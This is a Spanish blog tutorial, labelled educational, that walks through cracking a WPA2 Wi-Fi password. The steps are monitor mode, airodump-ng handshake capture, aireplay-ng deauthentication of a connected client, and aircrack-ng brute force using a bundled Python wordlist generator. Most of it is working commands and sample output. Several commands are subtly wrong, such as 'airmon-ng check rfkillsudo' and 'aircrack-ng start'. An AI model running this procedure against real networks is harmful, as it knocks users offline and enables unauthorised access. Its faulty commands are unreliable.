...
Router. Free public domain CC0

Este post está realizado con fines educativos, acceder o hackear a redes ajenas es ilegal por lo cual solo deberías probar este ataque en tu red.


Introducción

Durante este post vamos a ver un método de ataque a redes Wi-Fi para conseguir su clave, consiste en desautenticar a los clientes para obtener el handshake, para posteriormente intentar crackearlo con una wordlist.

Tendremos que generar una wordlist o buscar una en internet, en este post añadiré un simple script en Python que genera una wordlist automaticamente.

Evidentemente, si la contraseña del router es robusta, será muy difícil de conseguir crackear la clave o contraseña mediante fuerza bruta.

Pero antes de empezar, explicaré brevemente en que consiste un ataque de desautenticación y que es el handshake.

Ataque de desautenticación

Es un tipo de ataque donde enviaremos paquetes de desautentificación a un dispositivo conectado en una red, con objetivo de expulsar o desconectar a dicho dispositivo de la red.

Handshake

Es el proceso de intercambio de mensajes entre el cliente y el router o punto de acceso para establecer una conexión segura, establece claves de cifrado para proteger la comunicación.


¿Qué vamos a necesitar?

Necesitaremos lo siguiente:

  • Una distro GNU/Linux
  • Una adaptador Wi-Fi que soporte el modo «monitor»
  • La suite de Aircrack-ng

Yo usaré ParrotOS debido a que ya viene con todo instalado, pero puedes usar la que quieras, tan solo tendrías que instalar la suite manualmente.

En mi caso usaré un adaptador TP-LINK Archer T2UH (actualmente descatalogado)


Para empezar, deberemos localizar la interfaz del adaptador Wi-Fi.

Abre una terminal y escribe:

iwconfig

Nos arrojará algo así:

lo        no wireless extensions.

ens33     no wireless extensions.

ens36     no wireless extensions.

wlx7c8bca05131d      IEEE 802.11  ESSID:off/any  
                     Mode:Managed  Access Point: Not-Associated   Tx-Power=14 dBm   
                     Retry short limit:7   RTS thr:off   Fragment thr:off
                     Encryption key:off
                     Power Management:off

En mi caso, la interfaz es la «wlx7c8bca05131d», aunque le cambiaré el nombre para que sea mas fácil.

Para cambiar temporalmente el nombre de una interfaz escribe:

ifconfig <wlx7c8bca05131d> down # Tumba la interfaz, necesario para poder configurarla 

ip link set dev <wlx7c8bca05131d> name <wifi> # Cambia el nombre a wifi

ifconfig <wifi> up # Vuelve a levantar la intefaz

Ahora la interfaz pasará a llamarse «wifi»

Una vez ya tengamos localizada la interfaz, el siguiente paso en configurarla en modo «monitor».

ifconfig <wifi> down # Tumba la interfaz, necesario para poder configurarla 
iwconfig <wifi> mode monitor # La configura en modo monitor
airmon-ng check rfkillsudo # Detiene todos los procesos que podrían interferir 
ifconfig <wifi> up # Vuelve a levantar la interfaz

También existe un comando que simplifica todo esto:

aircrack-ng start <wifi>

Para comprobar que este en modo monitor escribe:

iwconfig

Deberá aparecer así:

lo        no wireless extensions.

ens33     no wireless extensions.

ens36     no wireless extensions.

wifi      IEEE 802.11  Mode:Monitor  Frequency:2.412 GHz  Tx-Power=14 dBm   
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Power Management:off

Como podemos observar, la interfaz está en modo «monitor».

El siguiente paso, es escanear las redes

airodump-ng <wifi>

Deberíamos ver las redes disponibles

 BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID xx:xx:xx:xx:xx:xx  -44      109        1    0   1  130   WPA2 CCMP   PSK  RedEjemplo                                                                                                        
 xx:xx:xx:xx:xx:xx  -52      307      523    0   3  130   WPA2 CCMP   PSK  [REDACTED]                                                                                                 
 xx:xx:xx:xx:xx:xx  -63      235        0    0  13  130   WPA2 CCMP   PSK  [REDACTED]                                                                                                    

 BSSID              STATION            PWR   Rate    Lost    Frames  Notes  Probes

 xx:xx:xx:xx:xx:xx  xx:xx:xx:xx:xx:xx  -87    0 - 1      0        2                                                                                                                           
 (not associated)   xx:xx:xx:xx:xx:xx  -36    0 - 1      0        1                                                                                                                           
 (not associated)   xx:xx:xx:xx:xx:xx  -64    0 - 1      0       11                         

Mi objetivo será «RedEjemplo», deberemos fijarnos en el BSSID y en el canal.

Control + Z para detener el escaneo

Copia el BSSID y el canal de la red que deseas y escribe:

airodump-ng -d <XX:XX:XX:XX:XX:XX> -c <1> -w <output_file> <wifi>

-d: BSSID

-c: Canal

-w: Es el archivo que genera el comando con el handshake

<wifi>: Nombre de la interfaz Wi-Fi

Deberíamos ver algo así:

BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID

 xx:xx:xx:xx:xx:xx  -38  90      139        7    0   1  130   WPA2 CCMP   PSK  RedEjemplo                                                                                                    

 BSSID              STATION            PWR   Rate    Lost    Frames  Notes  Probes

 xx:xx:xx:xx:xx:xx  xx:xx:xx:xx:xx:xx  -27    0 -24      0       36    

Abajo aparecerán los clientes, deberemos copiar su dirección MAC, es decir «STATION».

Abre otra terminal sin cerrar la de antes y escribe:

aireplay-ng -0 0 -a <XX:XX:XX:XX:XX:XX> -c <XX:XX:XX:XX:XX:XX> <wifi>

-a: BSSID

-c: Dirección MAC del cliente

<wifi>: Nombre de la interfaz Wi-Fi

17:33:51  Waiting for beacon frame (BSSID: XX:XX:XX:XX:XX:XX) on channel 1
17:33:52  Sending 64 directed DeAuth (code 7). STMAC: [XX:XX:XX:XX:XX:XX] [ 0|63 ACKs]
17:33:52  Sending 64 directed DeAuth (code 7). STMAC: [XX:XX:XX:XX:XX:XX] [ 0|65 ACKs]
17:33:53  Sending 64 directed DeAuth (code 7). STMAC: [XX:XX:XX:XX:XX:XX] [ 0|64 ACKs]
17:33:53  Sending 64 directed DeAuth (code 7). STMAC: [XX:XX:XX:XX:XX:XX] [ 0|64 ACKs]
17:33:54  Sending 64 directed DeAuth (code 7). STMAC: [XX:XX:XX:XX:XX:XX] [ 0|64 ACKs]
17:33:54  Sending 64 directed DeAuth (code 7). STMAC: [XX:XX:XX:XX:XX:XX] [ 0|64 ACKs]

Si tratamos de conectarnos a la red nos arrojará un mensaje de error o de que la contraseña es incorrecta.

Bien, ahora regresa a la ventana del terminal anterior, y debería haber aparecido el handshake en la parte superior

 CH  1 ][ Elapsed: 11 mins ][ 2023-11-19 17:41 ][ WPA handshake: XX:XX:XX:XX:XX:XX 

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID

 XX:XX:XX:XX:XX:XX  -35  92     6648      146    0   1  130   WPA2 CCMP   PSK  RedEjemplo                                                                                                    

 BSSID              STATION            PWR   Rate    Lost    Frames  Notes  Probes

 XX:XX:XX:XX:XX:XX  XX:XX:XX:XX:XX:XX  -23    6e-24      0     7399  EAPOL 

Detenemos todos los comandos, nos habrá generado unos archivos, dependiendo del nombre que le pusimos tendrá uno nombre o otro.

ls
output-01.cap  output-01.csv  output-01.kismet.csv  output-01.kismet.netxml  output-01.log.csv

El que nos interesa es el output-01.cap

Antes de ejecutar el ataque de fuerza bruta, se necesita una wordlist o diccionario, puedes generar uno o buscarlo en internet.

He hecho un script en Python que genera contraseñas aleatorias, puedes elegir entre la longitud, la cantidad, los caracteres especiales y si lo prefiere en mayúsculas o no.

Por ejemplo, el router de mi operadora, la contraseña por defecto es de 16 caracteres y todo en mayúsculas, pues con este script podrías montarte un diccionario para tal router, la probabilidad de acierto es muy baja aun con la contraseña por defecto.

Script (Python3)

import string
import random
import secrets
from contextlib import redirect_stdout

chList = ""
chList += string.ascii_letters + string.digits


longitud = int(input("Longitud de las contraseñas: "))
cantidad = int(input("Cuantas contraseñas quieres generar? "))
mayus = str(input("Usar solo mayus? ej: vodafone | [s/N]")).upper()
specialCaracteres = str(input("Usar  caracteres especiales? | [s/N]")).upper()
outputFile = str(input("Como quieres nombrar al archivo? | [wordlist]")).lower()

if outputFile == "":
    outputFile = "wordlist.txt"
if specialCaracteres == "S":
    chList += string.punctuation


password = ""
contador = 0
wordlistOutput = open(outputFile,"w")


if mayus == "S":
    for i in range(cantidad):
        password = ''.join(secrets.choice(chList) for i in range(longitud)).upper()
        contador += 1
        print(contador,": ", password)
        wordlistOutput.write(password + "\n")

else:
    for i in range(cantidad):
        password = ''.join(secrets.choice(chList) for i in range(longitud))
        contador += 1
        print(contador,": ", password)
        wordlistOutput.write(password + "\n")

wordlistOutput.close()

Ahora que ya contamos con la wordlist escribe el siguiente comando:

aircrack-ng -w <wordlist.txt> <output-01.cap>

-w: Ubicación de la wordlist

Si la contraseña está en la wordlist, nos lo indicará:

Reading packets, please wait...
Opening output-01.cap
Read 3719 packets.

   #  BSSID              ESSID                     Encryption

   1  xx:xx:xx:xx:xx:xx  RedEjemplo                WPA (1 handshake)

Choosing first network as target.

Reading packets, please wait...
Opening output-01.cap
Read 3719 packets.

1 potential targets



                               Aircrack-ng 1.6 

      [00:00:00] 40/100 keys tested (1380.60 k/s) 

      Time left: 0 seconds                                      40.00%

                       KEY FOUND! [ NEK2ONLFFAU94ZRH ]


      Master Key     : D0 E0 40 92 A8 12 02 38 04 01 1F 84 9E AD D1 24 
                       74 63 E7 6A 9D 2F EA 41 3A 09 74 57 F0 B6 13 B0 

      Transient Key  : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 

      EAPOL HMAC     : EB F3 73 28 BD 82 04 0B 30 CB 4B FA 6F FD D3 77 

Como podemos ver, la contraseña es «NEK2ONLFFAU94ZRH»

Existen otras formas de crackearla, pero en este post explicaré únicamente esta forma.


Y ya lo podemos dar por finalizado!

Recuerda! si tienes algo que aportar no dudes en comentarlo.

Un saludo.

por andres

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Seraphinite AcceleratorOptimized by Seraphinite Accelerator
Turns on site high speed to be attractive for people and search engines.